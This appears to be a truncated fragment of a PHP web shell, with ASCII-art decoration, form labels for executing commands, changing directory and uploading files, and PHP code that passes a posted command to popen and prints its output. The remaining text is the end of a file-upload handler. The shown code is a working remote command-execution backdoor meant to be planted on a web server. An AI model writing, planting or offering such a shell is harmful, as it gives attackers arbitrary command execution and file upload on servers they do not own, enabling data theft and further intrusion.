                                  _           _
                                 / \_______ /|_\
                                /          /_/ \__
                               /             \_/ /
                             _|_              |/|_
                             _|_  O    _    O  _|_
                             _|_      (_)      _|_
                              \                 /
                               _\_____________/_
                              /  \/  (___)  \/  \
                              \__(  o     o  )__/

Execute command: |
Change directory: |  |
Upload file: |  |

    ";
        } else {
            echo "There was an error uploading the file, please try again!";
        }
        }
        if(($_POST['exe']) == "Execute") {
         $curcmd = "cd ".$curdir.";".$curcmd;
         $f=popen($curcmd,"r");
         while (!feof($f)) {
          $buffer = fgets($f, 4096);
          $string .= $buffer;
         }
         pclose($f);
         echo htmlspecialchars($string);
        }
    ?>